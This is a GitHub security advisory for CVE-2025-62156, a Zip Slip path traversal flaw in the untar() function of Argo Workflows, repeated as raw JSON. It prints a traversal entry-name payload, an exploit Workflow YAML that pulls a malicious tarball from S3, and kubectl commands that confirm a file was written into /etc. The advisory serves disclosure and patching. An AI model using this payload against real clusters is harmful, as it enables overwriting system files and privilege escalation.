ghsa-p84v-gxvw-73pf
Vulnerability from github
Vulnerability Description
Vulnerability Overview
- During the artifact extraction process, the
unpack()
function extracts the compressed file to a temporary directory (/etc.tmpdir
) and then attempts to move its contents to/etc
using therename()
system call, - However, since
/etc
is an already existing system directory, therename()
system call fails, making normal archive extraction impossible. - At this point, if a malicious user sets the entry name inside the
tar.gz
file to a path traversal like../../../../../etc/zipslip-poc
, - The
untar()
function combines paths usingfilepath.Join(dest, filepath.Clean(header.Name))
without path validation, resulting intarget = "/work/input/../../../../../etc/zipslip-poc"
, - Ultimately, the
/etc/zipslip-poc
file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993
- Base Path:
/work/tmp
(dest) — The intended extraction directory in the wait container - Malicious Entry:
../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt
(header.Name
) — Path traversal payload - Path Cleaning:
filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt
— Go’s path cleaning normalizes the traversal - Path Joining:
filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt
— Absolute path overrides base directory - File Creation:
/mainctrfs/etc/zipslip-ok.txt
file is created in the wait container - Volume Mirroring: The file appears as
/etc/zipslip-ok.txt
in the main container due to volume mount mirroring
PoC
PoC Description
- The user uploaded a malicious
tar.gz
file to S3 that contains path traversal entries like../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt
designed to exploit the vulnerability. - In the Argo Workflows YAML, the artifact’s path is set to
/work/tmp
, which should normally extract the archive to that intended directory. - However, due to the vulnerability in the
untar()
function,filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")
resolves to/mainctrfs/etc/zipslip-ok.txt
, causing files to be created in unintended locations. - Since the wait container’s
/mainctrfs/etc
and the main container’s/etc
share the same volume, files created in the wait container become visible in the main container’s/etc/
directory. - Consequently, the archive that should extract to
/work/tmp
exploits the Zip Slip vulnerability to create files in the/etc/
directory, enabling manipulation of system configuration files.
exploit yaml
yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
exploit
-
Create Zipslip
-
Upload S3
-
Create Workflow
-
Run
-
Exploit Success
```bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD"
# Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash
# Exploit cd /etc/ ls -l cat zipslip-ok.txt ```
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/
within the container, potentially overwriting critical configuration files such as /etc/passwd
, /etc/hosts
, or /etc/crontab
, which could lead to privilege escalation or persistent access within the compromised container.
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/argoproj/argo-workflows/v3" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "3.6.12" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/argoproj/argo-workflows/v3" }, "ranges": [ { "events": [ { "introduced": "3.7.0" }, { "fixed": "3.7.3" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-62156" ], "database_specific": { "cwe_ids": [ "CWE-22", "CWE-23" ], "github_reviewed": true, "github_reviewed_at": "2025-10-14T18:00:30Z", "nvd_published_at": "2025-10-14T15:16:12Z", "severity": "HIGH" }, "details": "### **Vulnerability Description**\n\n#### Vulnerability Overview\n\n1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call,\n2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible.\n3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`,\n4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = \"/work/input/../../../../../etc/zipslip-poc\"`,\n5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.\n\n#### untar(): Writing Files Outside the Extraction Directory\n\nhttps://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993\n\n1. **Base Path**: `/work/tmp` (dest) \u2014 The intended extraction directory in the wait container \n2. **Malicious Entry**: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) \u2014 Path traversal payload \n3. **Path Cleaning**: `filepath.Clean(\"../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Go\u2019s path cleaning normalizes the traversal \n4. **Path Joining**: `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Absolute path overrides base directory \n5. **File Creation**: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container \n6. **Volume Mirroring**: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring\n\n### PoC\n\n#### PoC Description\n\n1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability.\n2. In the Argo Workflows YAML, the artifact\u2019s path is set to `/work/tmp`, which should normally extract the archive to that intended directory.\n3. However, due to the vulnerability in the `untar()` function, `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations.\n4. Since the wait container\u2019s `/mainctrfs/etc` and the main container\u2019s `/etc` share the same volume, files created in the wait container become visible in the main container\u2019s `/etc/` directory.\n5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files.\n\n#### exploit yaml\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n generateName: zipslip-\nspec:\n entrypoint: main\n templates:\n - name: main\n container:\n image: ubuntu:22.04\n command: [\"sh\"]\n args: [\"-c\", \"echo \u0027Starting container\u0027; sleep 3000\"]\n volumeMounts:\n - name: etcvol\n mountPath: /etc\n inputs:\n artifacts:\n - name: evil\n path: /work/tmp \n archive:\n tar: {}\n http:\n url: \"https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz\"\n volumes:\n - name: etcvol\n emptyDir: {}\n```\n\n#### exploit\n\n1. Create Zipslip \n\u003cimg width=\"1300\" height=\"102\" alt=\"image (4)\" src=\"https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2\" /\u003e\n\n2. Upload S3 \n\u003cimg width=\"1634\" height=\"309\" alt=\"image (5)\" src=\"https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4\" /\u003e\n\n\n3. Create Workflow \n\u003cimg width=\"1875\" height=\"865\" alt=\"image (1) (1)\" src=\"https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f\" /\u003e\n\n\n4. Run \n\u003cimg width=\"1799\" height=\"862\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f\" /\u003e\n\n\n5. Exploit Success\n\u003cimg width=\"1363\" height=\"440\" alt=\"image (3)\" src=\"https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f\" /\u003e\n\n ```bash\n # Find Workflow and Pod\n NS=default\n WF=$(kubectl get wf -n \"$NS\" --sort-by=.metadata.creationTimestamp --no-headers | awk \u0027END{print $1}\u0027)\n POD=$(kubectl get pod -n \"$NS\" -l workflows.argoproj.io/workflow=\"$WF\" --no-headers | awk \u0027END{print $1}\u0027)\n echo \"NS=$NS WF=$WF POD=$POD\"\n \n # Connect Main Container\n kubectl exec -it -n \"$NS\" \"$POD\" -c main -- bash\n \n # Exploit\n cd /etc/\n ls -l\n cat zipslip-ok.txt\n ```\n\n### Impact\n\n#### Container Isolation Bypass\n\nThe Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.", "id": "GHSA-p84v-gxvw-73pf", "modified": "2025-10-14T18:00:30Z", "published": "2025-10-14T18:00:30Z", "references": [ { "type": "WEB", "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62156" }, { "type": "WEB", "url": "https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011" }, { "type": "WEB", "url": "https://github.com/argoproj/argo-workflows/commit/9f6bc5d236cd1b24d607943384511d71ad17a4c3" }, { "type": "PACKAGE", "url": "https://github.com/argoproj/argo-workflows" }, { "type": "WEB", "url": "https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Argo Workflow has a Zipslip Vulnerability" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.